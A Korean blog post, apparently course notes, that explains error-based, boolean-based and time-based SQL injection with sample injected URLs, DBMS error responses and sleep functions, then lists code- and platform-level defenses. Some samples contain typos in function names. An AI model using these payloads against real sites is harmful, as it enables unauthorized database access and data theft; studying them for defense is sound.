서론
개발자가 아니더라도 IT관련 업계에서 일을 하면 SQL을 사용하게 된다.
재직중인 기업마다 사용하는 SQL이 다르겠지만 대체로 다 비슷하고 SQL 관련 취약점은 DB가 공격당하기 때문에 매우매우 위험한 공격이다.
Injection
- 인터프리터로 전송되는 명령(command, query, format)의 의미를 변경/조작하는 방식으로 애플리케이션 데이터를 전달하는 공격
- 인터프리터는 많은 접근으로 실행되는데, injection 공격이 성공할 경우 데이터 유출이나 애플리케이션 도는 서버의 제어권을 탈취할 수 있다.
Injection 공격 유형
- Error-Based SQL Injection은 SQL 쿼리가 실행될 때 오류가 발생하는 경우 DBMS의 에러메시지가 클라이언트측에 노출되는 경우 사용
- SQL 쿼리에 고의적으로 오류를 발생시켜 출력되는 에러 메시지의 내용을 통해 필요한 정보를 획득
Error-Based SQL Injection 공격예시
#1 MySQL
<SAMPLE Request>
http://example.com/vul.php?cat=1'
<SAMPLE Response>
Error:You have an error in your SQL Syntax; check the manual that corresponds to your MySQL ser
server version for the right syntax to use near "'at line 1 Warning: mysql_fetch_array()expects
parameter 1 to be resource. Boolean given in /var/www/html/vul.php on line 55
#2 MSSQL
<SAMPLE Reqeust>
http://example.com/vul.asp?cat=a'
<SAMPLE Response>
Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
문자열 'order by category_id'의 따옴표가 짝이 맞지 않습니다.
/vul.asp, 줄33
#3 MSSQL
<SAMPLE Request - 인코딩 전>
http://example.com/vul.asp?cat=and db_name()> 1--
<SAMPLE Request - 인코딩 후 >
http://example.com/vul.asp?cat=%27+and+db_name()+%3e+1%2d%2d
<SAMPLE Response>
Microsoft OLE DB Provider for SQL Server 오류'80040e07'
nvarchar 값 'web'을 데이터 형식 int로 변환하지 못했습니다.
/vul.asp, 줄33
#4 MSSQL
<SAMPLE Request - 인코딩 전>
http://example.com/vul.asp?cat='having 1=1--
<SAMPLE Request - 인코딩 후>
http://example.com/vul.asp?cat=%27+having+1%3d1%2d%2d
<SAMPLE Response>
Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
열 'category.category_id'가 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
/vul.asp, 줄 33
#5 Oracle
<SAMPLE Request>
http://example.com/vul.jsp?cat=1'
<SAMPLE Response>
org.apache.jasper.JasperException: javax.servlet.ServletException: java.sqlSQLException:
ORA-00911: Invalid character
Conten-Based SQL Injection
- Conten-BasedSQL Injection은 콘텐츠를 기반으로 쿼리의 참과 거짓을 판별하는 방법
- 주로 참과 거짓을 판별하고 Error-Based가 아닌 환경에서 사용하기 때문에 Boolean-Based Blind 방식이라고함
- DBMS에서 에러가 노출되지 않아도 활용가능하며 결과를 바로 확인할 수 있어 Time-Based SQL Injection과 비교했을 때 속도가 빠른 장점이 있음
Content-Based SQL Injection 공격예시
#1
<Sample>
http://example.com/search.asp?brand=act
<Sample Query>
SELECT * FROM products WHERE brand='act'
#2
<Sample>
http://example.com/search.asp?brand=ac'%2B't
<Sample Query>
SELECT * FROM products WHERE brand ='ac'+'t'
<SAMPLE Query>
SELECT * FROM products WHERE brand ='act'
#3
<Sample>
http://example.com/search.asp?brand = a'%2B'c'%2B't
<Sample Query>
SELECT * FROM products WHERE brand = a'a+'c'+'t'
<Sample Query>
SELECT * FROM products WHERE brand = 'act'
#4
<Sample>
http://example.com/search.asp?brand=a'%2Bcar(99)%2B't
<Sample Query>
SELECT * FROM products WHERE brand = 'a'+char(99)+'t'
<Sample Query>
SELECT * FROM products WHERE brand = 'act'
#5
<MSSQL Get Current User>
SELECT system_user -> dbadmin
<Sample>
SELECT len(system_user) -> 7
<Sample - True>
http://example.com/prod.asp?id=10/(case when(len(system_user)>6) then 1 else 0 end)
<Sample - False>
http://example.com/prod.asp?id=10/(case when(len(system_user)>7) then 1 else 0 end)
Time-Based SQL Injection
- DBMS에서 지원하는 시간 관련된 함수들을 이용하여 참과 거짓에 대한 결과를 응답 시간을 통해서 확인
- DBMS마다 지원하는 시간 관련된 함수들이 조금씩 차이가 있기 때문에 공격이 성공한다면 DBMS의 종류도 유추 가능
- 네트워크 상태에 따라 오차 발생
Time-Based SQL Injection 공격 예시
#MySQL
<SLEEP을 활용한 방법>
SELECT SLEEP(5);
지정된 시간(5초) 동안 멈춤
<BENCHMARK를 활용한 방법>
SELECT BENCHMARK(1000000, MD5('A'));
A의 MD5값을 100만 번 계산하게 하여 의도적으로 결과 출력 지연
#MSSQL
<WAITFOR DELAY를 활용한 방법>
SELECT WAITFOR DELAY '0:0:5';
지정된 시간(5초) 동안 멈춤
#Oracle
<DBMS_LOCK.SLEEP를 활용한 방법>
BEGIN DBMS_LOCL.SLEEP(5); END;
지정된 시간(5초) 동안 멈춤
DBMS_LOCK을 활용하기 위해서 계정에 DBMS_LOCK 권한이 부여되어 있어야 함
18c 버전부터 DBMS_LOCK.SLEEP은 deprecated 되었음
<DBMS_SESSION.SLEEP를 활용한 방법>
BEGIN EBMS_SESSION.SLEEP(5); END;
지정된 시간(5초)동안 멈춤
#PostgreSQL
<pg_sleep을 활용한 방법>
SELECT pg_sleep(5);
지정된 시간 (5초)동안 멈춤
SQL Injection 공격 대응
Code-Level Defense
- 입력 유효성 검사
- 인코딩 검증
- 데이터 정규화
- SQL Injection 취약점을 고려한 설계
입력 유효성 검사
- 화이트리스트 방식 유효성 검사
> 화이트리스트 방식 유효성 검사는 양호하다고 알려진 입력 값만 수락하는 방법
> 알려진 유형이나 예상범위에 해당하는 값 또는 크기 및 숫자 범위 등이 이에 해당
<화이트리스트 방식 예시>
핸드폰 번호 입력 시 숫자데이터만 입력 받음
핸드폰 번호 입력 시 010과 같은 숫자로 입력되는 값만 입력 받음
생년월일 입력 시 유효한 숫자 값만 입력 받음
신용카드번호 입력 시 카드번호 생성 규칙에 해당하는 값만 입력 받음
이름 입력 시 특수문자를 입력받지 않음
- 블랙리스트 방식 유효성 검사
> 블랙리스트 방식 유효성 잘못된 것으로 알려진 값들을 거부하는 검사
> 일반적으로 공격에 사용되는 문자나 문자열들을 사전 정의하여 차단하는 형태로 이루어짐
<블랙리스트 방식 예시>
SQL Injection에 주로 사용되는 특수문자들을 차단
DBMS 쿼리에 주로 사용되는 단어들을 차단
DBMS에서 해석될 수 있는 인코딩 문자들을 차단
- 알려진 값을 이용한 검증
> 알려진 값을 이용한 검증은 입력 값을 사전에 정의한 유효한 값 목록과 비교하여 목록에 해당 값이 없으면 입력을 거부하는 것
> 이 방법은 보안상으로는 매우 강력한 방법이지만 실제 환경에서 사용하기엔 여러 문제가 존재하여 자주 사용 되지 않는다.
인코딩 검증
- 클라이언트에서 전달받은 데이터가 포함된 값이 SQL에 영향을 줄 경우 특수문자(single quote, double quotes0나 기타 문자로 이해 쿼리가 변경되지 않도록 올바르게 인코딩 되었는지 검증
- 쿼리에서 LIKE절을 사용하는 경우 LIKE 와일드카드가 적절하게 인코딩 되었는지 확인
- 전달받은 데이터를 사용하기 전에 해당 데이터에 대해 상황에 맞는 유효성 검사 및 인코딩 검사를 수행
데이터 정규화
- 클라이언트에서 전달받은 데이터가 정규화되지 않은 경우 보안 기법을 적용하여도 우회될 수 있기 때문에 유효성검사나 인코딩 검증 등을 할 때 데이터 정규화를 진행한 이후에 적용
<Single-Quote (;)인코딩 예시>
인코딩 기법 값
URL Encoding %27
Double URL Encoding %2527
Unicode Enconding %u0027
Unicode Encoding %u02b9
HTML entity '
Decimal HTML entity '
Hexadecimal HTML entity '
SQL Injection 취약점을 고려한 설계
- 데이터베이스에서 애플리케이션이 사용하는 권한을 세분화하여 관리
- 데이터 추상화 계층을 이용하여 애플리케이션에서 데이터 접근을 관리
- 설계 시 민감한 정보에 대한 추가 제어를 고려하여 설계
Platform-Level Defense
- WAF(Web Application Firewall) 사용
- 중요정보 저장 시 암호화
- Stored-Procedures 사용
- 데이터베이스 로그인 분리
- 최소 권한이 부여된 데이터베이스 로그인 계정 사용
결론
사실 SQL Injection 공격이 포스팅한 것 이외에도 Union base, Blind, Stored Procedure based, Mass 등 상당히 다양하게 많이 분포되어있다. 지금 서술한 SQL Injection 공격은 키사아카데미 교육을 들으며 배웠던 부분이며, 알고 있었던 것과 몰랐던 부분이 많다. IT 업계에서 일을 하면 데이터베이스를 꼭 사용한다. 엑셀도 데이터베이스라고 볼 수 있지만, SQL도 사용하는 경우가 많기 때문에 알아두면 좋다.
참조
'정보보안 > 정보보호기초' 카테고리의 다른 글
정보가 노출되기 전에! 해킹 막는 필수 보안 꿀팁부터 실제사례까지 (5) | 2024.11.05 |
---|---|
타이포스쿼팅(Typosquatting) (10) | 2024.10.14 |
ROC(Receiver Operating Characteristic) 곡선 및 AUC(Area Under the Curve) (2) | 2024.07.25 |
FAR(부재율)과 FRR(거부율), False Positive, False Negative 정리 (0) | 2024.07.11 |
리버스 코드 엔지니어링 (PE파일, 링커, 스택 메모리 등) (0) | 2024.07.08 |